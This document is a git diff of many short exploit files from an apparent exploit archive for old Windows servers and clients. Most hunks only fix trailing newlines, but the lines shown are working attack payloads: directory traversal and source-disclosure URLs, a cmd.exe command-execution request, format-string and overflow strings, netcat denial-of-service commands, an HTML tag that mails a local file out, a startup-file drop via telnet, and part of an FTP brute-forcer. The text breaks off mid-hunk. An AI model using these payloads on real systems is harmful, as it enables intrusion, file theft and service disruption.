82eae262b..cc2b48fa5 100755 --- a/platforms/windows/remote/19939.html +++ b/platforms/windows/remote/19939.html @@ -24,4 +24,4 @@ clientContent.navigate("c:\\known_file.txt") <form action="/cgi/malicious-script.cgi" method=post onSubmit="window.alert(document.forms[0].elements[0].value); return true"> <input name="file_text" type=hidden> -</form> \ No newline at end of file +</form> \ No newline at end of file diff --git a/platforms/windows/remote/19942.txt b/platforms/windows/remote/19942.txt index ae3dbee5d..335edd92d 100755 --- a/platforms/windows/remote/19942.txt +++ b/platforms/windows/remote/19942.txt @@ -5,4 +5,4 @@ By default, Fortech Proxy+ can be remotely administered by any user possessing n In addition, the telnet gateway is open by default which can accomodate for anonymous packet forwarding. To remotely administer Proxy+ (given that the default port has not been changed): -http://target:4400/admin \ No newline at end of file +http://target:4400/admin \ No newline at end of file diff --git a/platforms/windows/remote/19957.txt b/platforms/windows/remote/19957.txt index d48250872..41b8a0c8f 100755 --- a/platforms/windows/remote/19957.txt +++ b/platforms/windows/remote/19957.txt @@ -6,4 +6,4 @@ First, a user may create a duplicate of a known file in a known directory on the This vulnerability depends on the anonymous internet account having write access to the relevant directories. -http://target/scripts/Carello/add.exe?C:\directory\filename.ext \ No newline at end of file +http://target/scripts/Carello/add.exe?C:\directory\filename.ext \ No newline at end of file diff --git a/platforms/windows/remote/19973.txt b/platforms/windows/remote/19973.txt index 87a454963..f23acfffb 100755 --- a/platforms/windows/remote/19973.txt +++ b/platforms/windows/remote/19973.txt @@ -8,4 +8,4 @@ Directory traversal vulnerability: http:&nbsp;//target/../../knowndirectory/ Path disclosure vulnerability: -http:&nbsp;//target/../<very long character string> \ No newline at end of file +http:&nbsp;//target/../<very long character string> \ No newline at end of file diff --git a/platforms/windows/remote/19976.txt b/platforms/windows/remote/19976.txt index 0caba324d..7774d3b15 100755 --- a/platforms/windows/remote/19976.txt +++ b/platforms/windows/remote/19976.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1286/info Sending an email to a Concatus IMate Web Mail Server 2.5 with a server name consisting of over 1119 characters will cause the application to crash. Restarting the program is required in order to regain normal functionality. Telnet target 25 -HELO <String of 1119 characters or more> \ No newline at end of file +HELO <String of 1119 characters or more> \ No newline at end of file diff --git a/platforms/windows/remote/20019.txt b/platforms/windows/remote/20019.txt index 7539fe970..19ca0645e 100755 --- a/platforms/windows/remote/20019.txt +++ b/platforms/windows/remote/20019.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1358/info By appending the string "/expdate" to a request for the cart32.exe executable, (http:&nbsp;//target/cgi-bin/cart32.exe/expdate) an attacker can access an error message followed by a debugging page containing the server variables, the Cart32 administration directory and possibly the contents of the cgi-bin. -http:&nbsp;//target/cgi-bin/cart32.exe/expdate \ No newline at end of file +http:&nbsp;//target/cgi-bin/cart32.exe/expdate \ No newline at end of file diff --git a/platforms/windows/remote/20048.txt b/platforms/windows/remote/20048.txt index fc5cf4636..fa9ab72b9 100755 --- a/platforms/windows/remote/20048.txt +++ b/platforms/windows/remote/20048.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1415/info Sending a stream of binary zeros to any one of a number of Windows 2000 ports can cause 100% CPU utilization. The ports that were found vulnerable include TCP ports 7, 9, 21, 23, 7778 and UDP ports 53, 67, 68, 135, 137, 500, 1812, 1813, 2535, 3456. -This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc target.host 7 < /dev/zero" for the TCP variant or "nc -u target.host 53 < /dev/zero" for the UDP variant. \ No newline at end of file +This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc target.host 7 < /dev/zero" for the TCP variant or "nc -u target.host 53 < /dev/zero" for the UDP variant. \ No newline at end of file diff --git a/platforms/windows/remote/20049.txt b/platforms/windows/remote/20049.txt index 2b93b4f57..ed0ea4419 100755 --- a/platforms/windows/remote/20049.txt +++ b/platforms/windows/remote/20049.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/1416/info The Check Point Firewall-1 SMTP Security Server in Firewall-1 4.0 and 4.1 on Windows NT is vulnerable to a simple network-based attack which can increase the firewall's CPU utilization to 100%. Sending a stream of binary zeros (or other invalid SMTP commands) to the SMTP port on the firewall raises the target system's load to 100% while the load on the attacker's machine remains relatively low. According to Check Point Software this only disables mail relay while allowing other firewall operations to continue normally. -This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc firewall 25 < /dev/zero". \ No newline at end of file +This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc firewall 25 < /dev/zero". \ No newline at end of file diff --git a/platforms/windows/remote/20089.txt b/platforms/windows/remote/20089.txt index d6a5a9f0c..c5a472b11 100755 --- a/platforms/windows/remote/20089.txt +++ b/platforms/windows/remote/20089.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1488/info Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be inaccessible. This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file. Appending this string causes the request to be handled by ISM.DLL, which then strips the +.htr string and may disclose part or all of the source of the .asp file specified in the request. There has been a report that source will be displayed up to the first '<%' encountered - '<%' and '%>' are server-side script delimiters. Pages which use the <script runat=server></script> delimiters instead will display the entire source, or up to any '<%' in the page. This vulnerability is a variant of a previously discovered vulnerability, BugTraq ID 1193. -http://victim/global.asa+.htr \ No newline at end of file +http://victim/global.asa+.htr \ No newline at end of file diff --git a/platforms/windows/remote/20096.txt b/platforms/windows/remote/20096.txt index 7679300f2..53723597b 100755 --- a/platforms/windows/remote/20096.txt +++ b/platforms/windows/remote/20096.txt @@ -16,4 +16,4 @@ HEAD /directory HTTP/1.0[CRLF] HTTP/1.1 401 Access Denied WWW-Authenticate: Basic realm="<Internal IP Address>" Content-Length: 644 -Content-Type: text/html \ No newline at end of file +Content-Type: text/html \ No newline at end of file diff --git a/platforms/windows/remote/20103.txt b/platforms/windows/remote/20103.txt index 3b8b769cf..ac37fe372 100755 --- a/platforms/windows/remote/20103.txt +++ b/platforms/windows/remote/20103.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1508/info Requesting a specially formed url containing encoding (%2E) to SimpleServer 1.06 and possibley earlier versions, will enable a remote user to gain read access to known files above the SimpleServer directory. -http://target/%2E%2E/filename \ No newline at end of file +http://target/%2E%2E/filename \ No newline at end of file diff --git a/platforms/windows/remote/20135.txt b/platforms/windows/remote/20135.txt index e3d8e158b..55da82bbc 100755 --- a/platforms/windows/remote/20135.txt +++ b/platforms/windows/remote/20135.txt @@ -6,4 +6,4 @@ The problem in particular is a failure on behalf of the web server to enforce a By default the enrollment server uses \Program Files\Network Associates\Net Tools PKI Server\WebServer\enroll-server as the Web Root directory. In a properly written webserver a user should only be able to move forward in the tree not backward. -https://host:444/..\..\..\..\..\autoexec.bat \ No newline at end of file +https://host:444/..\..\..\..\..\autoexec.bat \ No newline at end of file diff --git a/platforms/windows/remote/20136.txt b/platforms/windows/remote/20136.txt index 408e5b0d5..ab1100205 100755 --- a/platforms/windows/remote/20136.txt +++ b/platforms/windows/remote/20136.txt @@ -6,4 +6,4 @@ Certain versions of Network Associates Inc.'s Net Tools PKI (Public Key Infrastr https://host:444/xxx%3c%b9%ff%01%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25%25x%25\ %25x%25%25x%25x%25n.xuda -note: the string has been wrapped for readability. \ No newline at end of file +note: the string has been wrapped for readability. \ No newline at end of file diff --git a/platforms/windows/remote/20151.pl b/platforms/windows/remote/20151.pl index e6bcab6ad..b612601a8 100755 --- a/platforms/windows/remote/20151.pl +++ b/platforms/windows/remote/20151.pl @@ -17,7 +17,7 @@ if (not $ARGV[0]) { print qq~ Geee it=B4s running !! kewl :))) Usage : srcgrab.pl <complete url of file to retrieve> -Example Usage : srcgrab.pl http://www.victimserver/global.asa +Example Usage : srcgrab.pl http://www.victimsite.com/global.asa U can also save the retrieved file using : srcgrab.pl = http://www.victim.com/default.asp > file_to_save ~; exit;} diff --git a/platforms/windows/remote/20247.txt b/platforms/windows/remote/20247.txt index eb7486044..313011bf5 100755 --- a/platforms/windows/remote/20247.txt +++ b/platforms/windows/remote/20247.txt @@ -4,4 +4,4 @@ Smartwin Technology CyberOffice Shopping Cart is a shopping cart application for The order form CyberOffice Shopping Cart utilizes can be easily modified by downloading the form locally and then resubmitting it to the target server containing the new values. Unit item prices can be modified to any arbitrary value. -<input type="hidden" name="Item" value="Specified Value"> \ No newline at end of file +<input type="hidden" name="Item" value="Specified Value"> \ No newline at end of file diff --git a/platforms/windows/remote/20248.txt b/platforms/windows/remote/20248.txt index 5ffaee835..16f11a67f 100755 --- a/platforms/windows/remote/20248.txt +++ b/platforms/windows/remote/20248.txt @@ -4,4 +4,4 @@ Smartwin Technology CyberOffice Shopping Cart is a shopping cart application for It is possible for a remote user to gain read access to the _private directory on a website running CyberOffice Shopping Cart 2.0. By default the _private directory has world readable permissions. The Microsoft Access Database which contains confidential client details (such as customer orders and unencrypted credit card information) is stored in the _private directory and is thus accessible to attackers. An attacker need only request "http://target/_private/shopping_cart.mdb" with a browser to access it. -http://target/_private/shopping_cart.mdb \ No newline at end of file +http://target/_private/shopping_cart.mdb \ No newline at end of file diff --git a/platforms/windows/remote/20249.txt b/platforms/windows/remote/20249.txt index 7ca5a7c2e..9243c282e 100755 --- a/platforms/windows/remote/20249.txt +++ b/platforms/windows/remote/20249.txt @@ -4,4 +4,4 @@ It is possible for a malicious website operator to obtain copies of known files If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning: -<img sr c="mailto:email@address.com -F c:\path\file.ext"> \ No newline at end of file +<img sr c="mailto:email@address.com -F c:\path\file.ext"> \ No newline at end of file diff --git a/platforms/windows/remote/20266.txt b/platforms/windows/remote/20266.txt index 2a3d20d17..f5b103f09 100755 --- a/platforms/windows/remote/20266.txt +++ b/platforms/windows/remote/20266.txt @@ -37,4 +37,4 @@ catch(e){} } catch(e){} }setTimeout("yuzi2()",1000); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/remote/20309.txt b/platforms/windows/remote/20309.txt index 800801762..891b5677a 100755 --- a/platforms/windows/remote/20309.txt +++ b/platforms/windows/remote/20309.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1818/info Microsoft IIS 3.0 came with a sample program, newdsn.exe, installed by default in the directory wwwroot/scripts/tools/. Execution of this program with a properly submitted URL could allow for remote file creation. The file created is a Microsoft Access Database, but can have any extension, including .html. -http://vulnerable.servertools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB \ No newline at end of file +http://vulnerable.site.comtools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb=CREATE_DB \ No newline at end of file diff --git a/platforms/windows/remote/20334.java b/platforms/windows/remote/20334.java index 02b969424..e25427d66 100755 --- a/platforms/windows/remote/20334.java +++ b/platforms/windows/remote/20334.java @@ -92,7 +92,7 @@ public class newftpbrute } - sout.println("pass evil_hacker@j00r_server"); + sout.println("pass evil_hacker@j00r_server.com"); if ((line=sin.readLine()).indexOf("230 ")>-1) { @@ -171,7 +171,7 @@ public class newftpbrute sout.println("user anonymous"); line=sin.readLine(); - sout.println("pass evil_hacker@j00r_server"); + sout.println("pass evil_hacker@j00r_server.com"); line=sin.readLine(); Counter=0; diff --git a/platforms/windows/remote/20445.txt b/platforms/windows/remote/20445.txt index 255a99dc7..164a66628 100755 --- a/platforms/windows/remote/20445.txt +++ b/platforms/windows/remote/20445.txt @@ -8,4 +8,4 @@ A request similar to the following is used to exploit this: http://targethost/cgi-bin/test.bat?&dir -Variations may be possible or necessary, depending on the specific web server and configuration. \ No newline at end of file +Variations may be possible or necessary, depending on the specific web server and configuration. \ No newline at end of file diff --git a/platforms/windows/remote/20460.txt b/platforms/windows/remote/20460.txt index 96a06fc04..2b9b6480c 100755 --- a/platforms/windows/remote/20460.txt +++ b/platforms/windows/remote/20460.txt @@ -54,4 +54,4 @@ KERNEL32!CreateFileA + 0x11B For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp. -By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine. \ No newline at end of file +By sending a carefully crafted HTTP request an attacker can bypass the total length check and overflow a local variable in PBSERVER.DLL allowing the execution of arbitrary code as user GUEST on the vulnerable machine. \ No newline at end of file diff --git a/platforms/windows/remote/20461.txt b/platforms/windows/remote/20461.txt index ed961e82b..209354f2c 100755 --- a/platforms/windows/remote/20461.txt +++ b/platforms/windows/remote/20461.txt @@ -14,4 +14,4 @@ ftp> put autoexec.bat %20..%20%20../winnt/2.bat 200 PORT Command successful. 150 Opening ASCII mode data connection for 2.bat. 226 Transfer complete. -ftp> dir \..%20.\..%20.\winnt\ \ No newline at end of file +ftp> dir \..%20.\..%20.\winnt\ \ No newline at end of file diff --git a/platforms/windows/remote/20481.txt b/platforms/windows/remote/20481.txt index 803d4135d..13e670579 100755 --- a/platforms/windows/remote/20481.txt +++ b/platforms/windows/remote/20481.txt @@ -5,4 +5,4 @@ Microsoft Internet Information Server (IIS) is a popular web server, providing s http://www.target.host/aspfile.asp. http://www.target.host/scriptfile.ht. http://www.target.host/scriptfile.id. -http://www.target.host/scriptfile.PL. \ No newline at end of file +http://www.target.host/scriptfile.PL. \ No newline at end of file diff --git a/platforms/windows/remote/20488.txt b/platforms/windows/remote/20488.txt index ce416bdb4..65d238ba2 100755 --- a/platforms/windows/remote/20488.txt +++ b/platforms/windows/remote/20488.txt @@ -7,4 +7,4 @@ It is possible to view the full contents of the directory structure of a system Eg. http://target:800/C:/ -will reveal a directory listing for drive C. \ No newline at end of file +will reveal a directory listing for drive C. \ No newline at end of file diff --git a/platforms/windows/remote/20489.txt b/platforms/windows/remote/20489.txt index 43be7cbc9..52a9d87d1 100755 --- a/platforms/windows/remote/20489.txt +++ b/platforms/windows/remote/20489.txt @@ -6,4 +6,4 @@ It is possible for a remote user to gain access to any known file outside of the Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host. -http://target/../../../filename.ext \ No newline at end of file +http://target/../../../filename.ext \ No newline at end of file diff --git a/platforms/windows/remote/20510.txt b/platforms/windows/remote/20510.txt index 0d9a5b30c..b91ce1de0 100755 --- a/platforms/windows/remote/20510.txt +++ b/platforms/windows/remote/20510.txt @@ -8,4 +8,4 @@ It should be noted that the victim need only have AIM installed on their machine Successful exploitation of this vulnerability will lead to complete comprimise of the target host. -href="aim:goim? screenname=AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA&message=EIP,+the+other+white+meat" >here</a><br> \ No newline at end of file +href="aim:goim? screenname=AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA&message=EIP,+the+other+white+meat" >here</a><br> \ No newline at end of file diff --git a/platforms/windows/remote/20511.txt b/platforms/windows/remote/20511.txt index 4d114bc32..5d4f50979 100755 --- a/platforms/windows/remote/20511.txt +++ b/platforms/windows/remote/20511.txt @@ -8,4 +8,4 @@ It should be noted that the victim need only have AIM installed on their machine Successful exploitation of this vulnerability will lead to complete comprimise of the target host. -aim:buddyicon?screenname=abob&groupname=asdf&Src=http://localhost/AAA... \ No newline at end of file +aim:buddyicon?screenname=abob&groupname=asdf&Src=http://localhost/AAA... \ No newline at end of file diff --git a/platforms/windows/remote/20584.txt b/platforms/windows/remote/20584.txt index 8e0be0149..7a34b1eb0 100755 --- a/platforms/windows/remote/20584.txt +++ b/platforms/windows/remote/20584.txt @@ -8,4 +8,4 @@ ftp> ls c:/ 200 Port command successful. 150 Opening data connection for directory list. -(listing of c:\) \ No newline at end of file +(listing of c:\) \ No newline at end of file diff --git a/platforms/windows/remote/20590.txt b/platforms/windows/remote/20590.txt index edff2afdd..60188f424 100755 --- a/platforms/windows/remote/20590.txt +++ b/platforms/windows/remote/20590.txt @@ -8,4 +8,4 @@ http://victim/scripts/iisadmin/bdir.htr??<path> eg., -http://www.victim-host.xxx/scripts/iisadmin/bdir.htr??d:\webs \ No newline at end of file +http://www.victim-host.xxx/scripts/iisadmin/bdir.htr??d:\webs \ No newline at end of file diff --git a/platforms/windows/remote/20607.txt b/platforms/windows/remote/20607.txt index 79e5b6ed9..7a21b3fd2 100755 --- a/platforms/windows/remote/20607.txt +++ b/platforms/windows/remote/20607.txt @@ -8,4 +8,4 @@ http://target/..\..\..\..\..\..\filename Executing arbitrary commands: -http://target/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir+c:\ \ No newline at end of file +http://target/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir+c:\ \ No newline at end of file diff --git a/platforms/windows/remote/20608.txt b/platforms/windows/remote/20608.txt index 34b7e7714..779cf02df 100755 --- a/platforms/windows/remote/20608.txt +++ b/platforms/windows/remote/20608.txt @@ -4,4 +4,4 @@ A remote user could gain read access to known files outside of the root director http://target/../[file outside web root] -http://target/.../[file outside web root] \ No newline at end of file +http://target/.../[file outside web root] \ No newline at end of file diff --git a/platforms/windows/remote/20612.txt b/platforms/windows/remote/20612.txt index 69ed51150..0e2c4cb6b 100755 --- a/platforms/windows/remote/20612.txt +++ b/platforms/windows/remote/20612.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/2339/info It is possible for a remote user to gain read access to directories and files outside the root directory of a PicServer. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory. http://target/../[file outside web root] -http://target/.../[file outside web root] \ No newline at end of file +http://target/.../[file outside web root] \ No newline at end of file diff --git a/platforms/windows/remote/20614.txt b/platforms/windows/remote/20614.txt index 4646efe58..68f40ec78 100755 --- a/platforms/windows/remote/20614.txt +++ b/platforms/windows/remote/20614.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2343/info It is possible for a remote user to gain read access to directories outside the root directory of an AOLserver. Requesting a specially crafted URL composed of '.../' sequences will disclose an arbitrary directory. -http://target/.../[file outside web root] \ No newline at end of file +http://target/.../[file outside web root] \ No newline at end of file diff --git a/platforms/windows/remote/20616.txt b/platforms/windows/remote/20616.txt index 4b0be71d1..07c9de806 100755 --- a/platforms/windows/remote/20616.txt +++ b/platforms/windows/remote/20616.txt @@ -4,4 +4,4 @@ It is possible for a remote user to gain read access to directories and files ou http://target/../[file outside web root] -http://target/.../[file outside web root] \ No newline at end of file +http://target/.../[file outside web root] \ No newline at end of file diff --git a/platforms/windows/remote/20628.txt b/platforms/windows/remote/20628.txt index 412a1e3c3..0b3ad8ada 100755 --- a/platforms/windows/remote/20628.txt +++ b/platforms/windows/remote/20628.txt @@ -4,4 +4,4 @@ A remote user could gain read access to known files outside of the root director http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../bin/pwd -http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://target/cgi-bin/auktion.pl menue=../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/windows/remote/20637.txt b/platforms/windows/remote/20637.txt index 7cb89690d..ea6bdf44f 100755 --- a/platforms/windows/remote/20637.txt +++ b/platforms/windows/remote/20637.txt @@ -4,4 +4,4 @@ It is possible for a remote user to gain read access to directories and files ou http://target/../../../scandisk.log -^^ = Will obviously open the scandisk.log file. \ No newline at end of file +^^ = Will obviously open the scandisk.log file. \ No newline at end of file diff --git a/platforms/windows/remote/20653.txt b/platforms/windows/remote/20653.txt index 4f061f8f8..f7806c45b 100755 --- a/platforms/windows/remote/20653.txt +++ b/platforms/windows/remote/20653.txt @@ -17,4 +17,4 @@ Using this vulnerability to place a file on the target filesystem outside the ft ftp> put Lokale Datei c:\test.txt -Remotedatei ../autorun.bat \ No newline at end of file +Remotedatei ../autorun.bat \ No newline at end of file diff --git a/platforms/windows/remote/20657.txt b/platforms/windows/remote/20657.txt index dabc3f42e..2922c3008 100755 --- a/platforms/windows/remote/20657.txt +++ b/platforms/windows/remote/20657.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2436/info It is possible for a remote user to gain read access to directories and files outside the web root. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory, appending the known filename will disclose the requested resource. -http://target/../../../../../../Scandisk.log \ No newline at end of file +http://target/../../../../../../Scandisk.log \ No newline at end of file diff --git a/platforms/windows/remote/20661.txt b/platforms/windows/remote/20661.txt index 9ce23ac5c..fe58a8a78 100755 --- a/platforms/windows/remote/20661.txt +++ b/platforms/windows/remote/20661.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2444/info A remote user could gain read access to directories outside of the ftp root in a Jarle Aase War FTPD Server. Once a user is logged into the server, a specially crafted 'dir' command will disclose an arbitrary directory. This vulnerability could allow an attacker to gain read access to various files residing on the target machine. -dir *./../.. \ No newline at end of file +dir *./../.. \ No newline at end of file diff --git a/platforms/windows/remote/20663.txt b/platforms/windows/remote/20663.txt index 554c86380..9184f1f69 100755 --- a/platforms/windows/remote/20663.txt +++ b/platforms/windows/remote/20663.txt @@ -19,4 +19,4 @@ ftp> get autoexec.bat 150 Opening data connection for "/.../autoexec.bat". 250 RETR command successful. ftp: 383 bytes received in 0.16Seconds 2.39Kbytes/sec. -ftp> \ No newline at end of file +ftp> \ No newline at end of file diff --git a/platforms/windows/remote/20680.html b/platforms/windows/remote/20680.html index fcb63675e..984ab1203 100755 --- a/platforms/windows/remote/20680.html +++ b/platforms/windows/remote/20680.html @@ -14,4 +14,4 @@ The following is an example of a malicious HTML message which could cause data t <frame src=telnet:-f%20\Documents%20and%Settings\All%20Users \start%20menu\programs\startup\start.bat%20host%208000> </frameset> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/windows/remote/20687.txt b/platforms/windows/remote/20687.txt index 3e2616645..264de64c9 100755 --- a/platforms/windows/remote/20687.txt +++ b/platforms/windows/remote/20687.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2488/info Requesting a specially crafted URL to a machine running O'Reilly & Associates Website Professional, will disclose the physical path to the root directory. -www.example.com/:/ \ No newline at end of file +www.example.com/:/ \ No newline at end of file diff --git a/platforms/windows/remote/20688.txt b/platforms/windows/remote/20688.txt index d6801d9ab..e3b849755 100755 --- a/platforms/windows/remote/20688.txt +++ b/platforms/windows/remote/20688.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2490/info Eudora uses Internet Explorer to assist in the viewing of html messages if the 'Use Microsoft Viewer' option is enabled. Eudora also has a 'allow executables in HTML content' option, which the documentation recommends be disabled for securithy reasons. It is possible for an attacker to excecute arbitrary code on a remote system even if 'allow executables in HTML content' is disabled, if the 'Use Microsoft viewer' option is enabled. -http://www.malware.com/you!DORA.txt \ No newline at end of file +http://www.malware.com/you!DORA.txt \ No newline at end of file diff --git a/platforms/windows/remote/20716.txt b/platforms/windows/remote/20716.txt index 5876621c0..11a0887f2 100755 --- a/platforms/windows/remote/20716.txt +++ b/platforms/windows/remote/20716.txt @@ -16,4 +16,4 @@ will disclose a directory listing from outside Tomcat's normal directory tree. http://www.example.com/%2e%2e/%2e%2e%5cfilename%00.jsp -will reveal the requested file [filename]. \ No newline at end of file +will reveal the requested file [filename]. \ No newline at end of file diff --git a/platforms/windows/remote/20793.txt b/platforms/windows/remote/20793.txt index 8ba917f0b..269a68336 100755 --- a/platforms/windows/remote/20793.txt +++ b/platforms/windows/remote/20793.txt @@ -6,4 +6,4 @@ A problem in the software package could make it possible for remote users to gai This problem makes it possible for remote user to gain access to sensitive system files, and potentially local access. -http://vulnerable.system/\...\ \ No newline at end of file +http://vulnerable.system/\...\ \ No newline at end of file diff --git a/platforms/windows/remote/20803.txt b/platforms/windows/remote/20803.txt index e382f2a44..c17bf405c 100755 --- a/platforms/windows/remote/20803.txt +++ b/platforms/windows/remote/20803.txt @@ -29,4 +29,4 @@ ftp> get ....\....\autoexec.bat ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec. ftp> cd .... 250-ª¦Ã?++²¦-ñU¬+¦í 1323 mb -250 "/.." is current directory. \ No newline at end of file +250 "/.." is current directory. \ No newline at end of file diff --git a/platforms/windows/remote/20819.txt b/platforms/windows/remote/20819.txt index 2bdc8bfc7..c71257911 100755 --- a/platforms/windows/remote/20819.txt +++ b/platforms/windows/remote/20819.txt @@ -23,4 +23,4 @@ ftp> ls c:\windows\desktop\*\*.* not found 226 File sent ok ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec. -ftp> \ No newline at end of file +ftp> \ No newline at end of file diff --git a/platforms/windows/remote/20825.txt b/platforms/windows/remote/20825.txt index fb4207805..1bec89b51 100755 --- a/platforms/windows/remote/20825.txt +++ b/platforms/windows/remote/20825.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2697/info It is possible for an attacker to traverse the web folders of a Savant HTTP Server. Submitting a URL referring to a known directory or file, and appended with specific unicode characters, will disclose the contents of the requested resource. The unicode character in question is '%2f..'. This vulnerability could allow the reading of files on the target system. -http://example.com/%2f..%2f..%2f../filename \ No newline at end of file +http://example.com/%2f..%2f..%2f../filename \ No newline at end of file diff --git a/platforms/windows/remote/20826.txt b/platforms/windows/remote/20826.txt index 6a5dcc341..b537b44f4 100755 --- a/platforms/windows/remote/20826.txt +++ b/platforms/windows/remote/20826.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2699/info A vulnerability exists in Jason Rahaim's MP3Mystic Server which allows a remote user to traverse the directories of a target host. This may lead to the disclosure of file and directory contents. Arbitrary directories can be accessed through the inclusion of double dot '../' sequences when submitting a URL. -www.example.com/../scandisk.log \ No newline at end of file +www.example.com/../scandisk.log \ No newline at end of file diff --git a/platforms/windows/remote/20829.txt b/platforms/windows/remote/20829.txt index 7c7621227..ca33ce867 100755 --- a/platforms/windows/remote/20829.txt +++ b/platforms/windows/remote/20829.txt @@ -4,4 +4,4 @@ It is possible for a remote user to traverse the directories of a host running J www.example.com/%2e%2e/%2e%2e/ -www.example.com/%2e%2e/%2e%2e/filename \ No newline at end of file +www.example.com/%2e%2e/%2e%2e/filename \ No newline at end of file diff --git a/platforms/windows/remote/20850.txt b/platforms/windows/remote/20850.txt index f79347c98..a69d33500 100755 --- a/platforms/windows/remote/20850.txt +++ b/platforms/windows/remote/20850.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2729/info It is possible for a remote user to execute arbitrary commands on a host using Carello Shopping Cart software. A specially crafted HTTP request could cause inetinfo.exe to consume all available system resources, refusing any new connections. If arbitrary code is part of the HTTP request, it will be executed with the privileges of the web server. -http://foo.org/scripts/Carello/Carello.dllCARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe20/c20echo20test>c:\defcom.txt \ No newline at end of file +http://foo.org/scripts/Carello/Carello.dllCARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe20/c20echo20test>c:\defcom.txt \ No newline at end of file diff --git a/platforms/windows/remote/20884.txt b/platforms/windows/remote/20884.txt index 0f365c727..5977be0b1 100755 --- a/platforms/windows/remote/20884.txt +++ b/platforms/windows/remote/20884.txt @@ -22,4 +22,4 @@ now we do : ftp://127.0.0.1/RESTRICTED/...%5c/ and we're out of the restricted subdirectory, we have -read access to the whole harddrive \ No newline at end of file +read access to the whole harddrive \ No newline at end of file diff --git a/platforms/windows/remote/20886.txt b/platforms/windows/remote/20886.txt index c6bdf074c..2d57028f9 100755 --- a/platforms/windows/remote/20886.txt +++ b/platforms/windows/remote/20886.txt @@ -4,4 +4,4 @@ Submitting a specially crafted GET request for a known file (.php, .pl, or .shtm Example: -GET /filename.php%20 \ No newline at end of file +GET /filename.php%20 \ No newline at end of file diff --git a/platforms/windows/remote/20896.txt b/platforms/windows/remote/20896.txt index ca2bf2dc0..f15101754 100755 --- a/platforms/windows/remote/20896.txt +++ b/platforms/windows/remote/20896.txt @@ -10,4 +10,4 @@ WebBoard is no longer supported by O'Reilly, it is currently maintained by ChatS An example of malicious javascript: -\');for(i=0;i<100000;i++) alert("not nice"); / \ No newline at end of file +\');for(i=0;i<100000;i++) alert("not nice"); / \ No newline at end of file diff --git a/platforms/windows/remote/20899.txt b/platforms/windows/remote/20899.txt index 04939f2f6..4992f49b1 100755 --- 